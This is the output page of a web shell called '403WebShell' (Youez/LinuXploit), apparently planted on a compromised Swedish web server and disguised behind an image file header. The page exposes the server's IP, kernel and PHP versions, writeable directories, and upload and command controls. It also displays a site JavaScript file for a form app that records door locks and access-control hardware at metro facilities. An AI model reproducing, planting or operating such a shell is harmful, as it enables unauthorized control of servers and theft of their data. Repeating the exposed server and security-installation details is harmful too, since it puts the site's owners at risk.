????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.217.150.104
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.notes-online.se/symbols/notes/skydd/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.notes-online.se/symbols/notes/skydd/js/script.js
function addZeros(n) {
  return (n<10? '00' : n<100? '0' : '') + n;
}

function copy_from_other_symbol(type){
	

	var copyfrom = "";
	var localStorageName = "";
	var selObj = document.getElementById(type);
	for (var j = 0; j < selObj.options.length; j++) {
				if (selObj.options[j].selected == true) {
					copyfrom = selObj.options[j].value;
					localStorageName = copyfrom;
				}
	}
	
	copyfrom = localStorage.getItem(copyfrom);
	copyfrom = JSON.parse(copyfrom);
	
	// Get the localStorage object for the current form
	var storedDataName = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number");
	
	var storedData = localStorage.getItem(storedDataName);
	storedData = JSON.parse(storedData);
	
				var y = 0;

				for(var o in copyfrom){
					
						var type = copyfrom[y][1];	
						var name = copyfrom[y][0];
						var value = copyfrom[y][2];	
						if (type == "text" || type == "textarea" || type == "tel" || type == "radio" || type == "checkbox" || type == "select-one") {
							if(name != "installationsid" && name != "datum" && name != "signatur"){ 	// Dont change these values
								storedData[y][2] = value;
							}
						} 
						
					
						
					
					y++
				}
				
	storedData = JSON.stringify(storedData)
	populateFields(storedData);
	
	//alert("Denna funktion fungerar inte ännu!");
	/*
	 [["symboltype","hidden","Låspunkt"],["otherLPT","select-one","SENDTOSERVER_1000000_Notes Online Files/SL/A461901-40-1-0005.pdf_188_1"],["button2","button","Kopiera"],["button","button","Spara"],["forvaltningsid","text","4619"],["trafikslag","text","10 Tunnelbana"],["rumsid","text",""],["linje","text","110 TUB 1 Grön"],["installationstyp","select-one","T6.132"],["funkpri","select-one","00 Ingen uppgift"],["beskrivning","text",""],["funksek","select-one","00 Ingen uppgift"],["datum","text","2014-02-08"],["franrum","text",""],["fabrikat","text",""],["signatur","text","Demo"],["leverantor","text",""],["kortlasare","select-one","Välj"],["kortlasare2","select-one","Välj"],["slutbesiktning","text",""],["systemnummer","text",""],["cylinderbyte","text",""],["Elslutblack-eltrycke","checkbox","nej"],["inuit","select-one","Välj"],["dorrstangning-nyinstallation","checkbox","nej"],["dorrmiljotyp","select-one","Välj"],["optisk-oppnaknapp","checkbox","nej"],["installationsid","text","4619LPT002"],["forlangd-oppethallande","checkbox","nej"],["ovrigt","text",""],["lasare-tagmaster","checkbox","nej"],["oppnaknapp","select-one","Välj"],["anmarking","text",""],["summer","radio","0"],["summer","radio","0"],["cylindertypinsida","select-one","Välj"],["cylindertyputsida","select-one","Välj"],["nyckelnummerinsida","select-one","Välj"],["nyckelnummerutsida","select-one","Välj"],["dorrmaterial","select-one","Välj"],["dorrhangning","select-one","Välj"],["dorrstangare","select-one","Välj"],["lashustyp","select-one","Välj"],["lashusplacering","select-one","Välj"],["slutbleck","select-one","Välj"],["nodutrymning","select-one","Välj"],["dorrensstatus","select-one","Välj"],["symbol","hidden","Låspunkt"],["drawingpath","hidden","Notes Online Files/SL/A461901-40-1-0005.pdf"],["x_position","hidden","416.664429"],["y_position","hidden","602.000000"],["symbolid","hidden","188"],["companyid","hidden","1000000"],["number","hidden","2"],["localStorageName","hidden","SENDTOSERVER_1000000_Notes Online Files/SL/A461901-40-1-0005.pdf_188_2"]]
	*/

}
	
function init(){
	
	
	var path = extractValue("drawingpath");
	var companyid = extractValue("companyid");
	
	if(localStorage.getItem("Synced_"+companyid+"_"+path) == null || localStorage.getItem("Synced_"+companyid+"_"+path) == "Hämta"){
		alert("Du måste checka ut filen innan du kan fylla i formuläret \n(Landlord->Checka ut!)");	
		window.location = "http://www.notes-online.se/symbols/notes/sllas/empty.html";
	}else{
	// Sets the localStorage based in querystring
	setQueryParameters();
	
	// Set symbol topic
	document.getElementById("symbolname").innerHTML = localStorage.getItem("symbol") + " - "+ localStorage.getItem("number");
	document.getElementById("symboltype").value = localStorage.getItem("symbol");	
		
	
	// Get the localStorage object for the current form
	var storedData = localStorage.getItem("SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number"));
	
	localStorage.setItem("storedData",storedData);
	
	fillOtherList("LPT",localStorage.getItem("symbol"));	
		
	// Check if data was found in localStorage
	if(storedData != null){
		
		populateFields(storedData);
		
	}else{

		
		// Populate top fields in form based on PDF-name: AXXXXYY => XXXX, ex: A463501 => 4635
		document.getElementById("forvaltningsid").value = localStorage.getItem("drawingpath").substr(localStorage.getItem("drawingpath").lastIndexOf("/")+2,4);// /A
	
		var symbol_shortname = "";
		if(localStorage.getItem("symbol") == "Låspunkt"){
			symbol_shortname = "LPT";
			var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"LPT_count");
			if(value == null || value == "undefined"){
				value = 0;	
			}
			var LPT_count =  parseInt(value) + 1;
		
			localStorage.setItem(document.getElementById("forvaltningsid").value+"LPT_count",addZeros(LPT_count));
		
		document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"LPT_count");
		}else if(localStorage.getItem("symbol") == "Passersystem undercentral"){
			symbol_shortname = "PUC";
			var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"PUC_count");
			if(value == null || value == "undefined"){
				value = 0;	
			}
			var PUC_count =  parseInt(value) + 1;
		
			localStorage.setItem(document.getElementById("forvaltningsid").value+"PUC_count",addZeros(PUC_count));
		
		document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"PUC_count");
		}else if(localStorage.getItem("symbol") == "TUB-net"){
			symbol_shortname = "TBN";
			var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"TBN_count");
			if(value == null || value == "undefined"){
				value = 0;	
			}
			var TBN_count =  parseInt(value) + 1;
		
			localStorage.setItem(document.getElementById("forvaltningsid").value+"TBN_count",addZeros(TBN_count));
		
		document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"TBN_count");
		}else if(localStorage.getItem("symbol") == "Reservkraftsanslutning"){
			symbol_shortname = "ELA";
			var value = localStorage.getItem(document.getElementById("forvaltningsid").value+"ELA_count");
			
			if(value == null || value == "undefined"){
				value = 0;	
			}
			var ELA_count =  parseInt(value) + 1;
		
			localStorage.setItem(document.getElementById("forvaltningsid").value+"ELA_count",addZeros(ELA_count));
		
		document.getElementById("installationsid").value = document.getElementById("forvaltningsid").value + symbol_shortname + localStorage.getItem(document.getElementById("forvaltningsid").value+"ELA_count");
		}
		
		
		
	
	
		// Get data from stored JSON-objects
		for(var i = 0; i<Building.length; i++)
		{
			 if(Building[i].ID.indexOf(document.getElementById("forvaltningsid").value) !== -1){
				 document.getElementById("trafikslag").value = Building[i].PurposeGUID.ID +" " +Building[i].PurposeGUID.Title;
				 document.getElementById("linje").value = Building[i].SubPurposeGUID.ID +" " +Building[i].SubPurposeGUID.Title;
			 }
		}
	}


	save();
	}
}


function sortlist(type) {
var lb = document.getElementById("other"+type);

if(lb != undefined){
arrTexts = new Array();

for(i=0; i<lb.length; i++)  {
  arrTexts[i] = lb.options[i].text+"###"+lb.options[i].value;
}

arrTexts.sort();

for(i=0; i<lb.length; i++)  {
	var j = arrTexts[i].split("###");
  	lb.options[i].text = j[0];
    lb.options[i].value = j[1];
}
}
}


function fillOtherList(type, symboltype){
	if(symboltype == "Låspunkt"){
	var storedData = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath");
	
	
		for (var key in localStorage){
			if(key.indexOf(storedData) !== -1){
				var data = localStorage.getItem(key);
				var obj = JSON.parse(data);
				
				var y = 0;
				var localStorageName = key;
				var installationsid = "";
				for(var o in obj){
					if(obj[y][2].indexOf(type) !== -1){
					
						if(obj[y][0] == "installationsid"){
							installationsid = obj[y][2];
						}

					}
					
					y++
				}
				
				//Add to list
				if(installationsid != "" && localStorageName != ""){
					 var selObj = document.getElementById("other"+type);
					 var option = document.createElement("option");
					 option.text = installationsid;
					 option.value = localStorageName;
					if(option != null && selObj != null){
					 selObj.add(option);
					}
					
				}
				
			}
		}

	sortlist(type);
	}
}
// Pupulate the fields with data from localStorage
function populateFields(storedData){
	

	eval("var storedData_obj ="+storedData);
	
	for (i = 0; i < storedData_obj.length; i++) {
        var type = storedData_obj[i][1];
        var name = storedData_obj[i][0];
		var value = storedData_obj[i][2];
		
		if (type == "text" || type == "textarea" || type == "tel") {
			document.getElementById(name).value = value;
        } else if (type == "select-one") {
            var selObj = document.getElementById(name);
			for (var j = 0; j < selObj.options.length; j++) {
				if (selObj.options[j].text == value) {
					selObj.options[j].selected = true;
				}
			}
          } else if (type == "radio") {
			  var selObj = document.getElementById(name);
			  
			  if(value == "1"){
				  selObj.checked = true;
			  }
			  if(value == "0"){
				  selObj.checked = false;
			  }
			  
		   } else if (type == "checkbox") {
			  var selObj = document.getElementById(name);
			  
			  if(value == "ja"){
				  selObj.checked = true;
			  }else{
				  selObj.checked = false;
			  }
		  }
		
	

	}
	
	 document.getElementById("signatur").value = localStorage.getItem("username");	
	  
	  d = new Date();

	  
	  document.getElementById("datum").value = d.yyyymmdd();
}

// Set localStorage objects based on querystring
function setQueryParameters(){
	localStorage.setItem("symbol",extractValue("symbol"));
	localStorage.setItem("username",extractValue("username"));
	localStorage.setItem("drawingpath",extractValue("drawingpath"));
	localStorage.setItem("x_position",extractValue("x_position"));
	localStorage.setItem("y_position",extractValue("y_position"));
	localStorage.setItem("symbolid",extractValue("symbolId"));  
	localStorage.setItem("companyid",extractValue("companyid"));   
	localStorage.setItem("number",extractValue("number"));   
	
	// Set values to hidden bottom form
	document.getElementById("symbol").value = localStorage.getItem("symbol");
	document.getElementById("drawingpath").value = localStorage.getItem("drawingpath");
	document.getElementById("x_position").value = localStorage.getItem("x_position");
	document.getElementById("y_position").value = localStorage.getItem("y_position");
	document.getElementById("symbolid").value = localStorage.getItem("symbolid");
	document.getElementById("companyid").value = localStorage.getItem("companyid");
	document.getElementById("number").value = localStorage.getItem("number");
	document.getElementById("localStorageName").value = "SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number");
	 
		 document.getElementById("signatur").value = localStorage.getItem("username");	
	  
	  d = new Date();

	  
	  document.getElementById("datum").value = d.yyyymmdd();
}

// Extract variable from url
function extractValue(variable){
	var url = decodeURIComponent(document.location.toString());
    var value = url.substring(url.indexOf(variable+"=") + variable.length + 1);
    var pos = value.indexOf("&");
	if(pos !== -1){
		return value.substring(0, pos);
	}else{
		return value;
	}
}


function checkIfFilled(){
	
	save();
	
	 var ok = true;
	 for (i = 0; i < document.forms[0].elements.length; i++) {
		  var value = document.forms[0].elements[i].value;
		  if(value == "Välj"){
			
			 ok = false;
		  }
	 }
	 
	 if(ok == false){
		 
	 	alert("Du måste fylla i alla listor!");	 
	 }else{
	
		alert("Sparat!");
		}
	
}

// Save data to localStorage
function save(){
	 var data = Array();
	 
	 
	 var forvaltningsid = localStorage.getItem("drawingpath").substr(localStorage.getItem("drawingpath").lastIndexOf("/")+2,4); // /A
	 localStorage.setItem("Current_forvaltningsid",forvaltningsid);
	
	 for (i = 0; i < document.forms[0].elements.length; i++) {
        var type = document.forms[0].elements[i].type;
        var name = document.forms[0].elements[i].name;
		var value = document.forms[0].elements[i].value;
		
		if(type == "checkbox"){
			if(document.getElementById(name).checked){
				value = "ja";
			}else{
				value = "nej";	
			}
		}else if(type == "radio"){
			if(document.getElementById(name).checked){
				value = "1";
			}else{
				value = "0";	
			}
		}
		
		if(name == "kortlasare2" && value == "Annan"){
			document.getElementById("kortlasare2_field").innerHTML = '<input onChange="save();" name="kortlasare2" type="text" class="text" id="kortlasare2" size="12" /><a href="javascript:reset_kortlasare();">#</a>';
			
		}
		
		var obj = Array(name,type,value);
		data.push(obj);

	 }
	 localStorage.setItem("SENDTOSERVER_"+localStorage.getItem("companyid")+"_"+localStorage.getItem("drawingpath")+"_"+localStorage.getItem("symbolid")+"_"+localStorage.getItem("number"),JSON.stringify(data));
	 
}

function reset_kortlasare(){

	 
	document.getElementById("kortlasare2_field").innerHTML = '<select onchange="save();" name="kortlasare2" class="text" id="kortlasare2"><option selected="selected">Välj</option><option>HD500</option><option>Lexan</option><option>PT3085 MIF</option><option>PT3081 EM</option><option>Grå Cotag</option><option>Elektronisk</option><option>HD 100</option><option>Annan</option></select>';
}


Date.prototype.yyyymmdd = function() {
   var yyyy = this.getFullYear().toString();
   var mm = (this.getMonth()+1).toString(); // getMonth() is zero-based
   var dd  = this.getDate().toString();
   return yyyy +"-"+ (mm[1]?mm:"0"+mm[0]) +"-"+ (dd[1]?dd:"0"+dd[0]); // padding
  };




Youez - 2016 - github.com/yon3zu
LinuXploit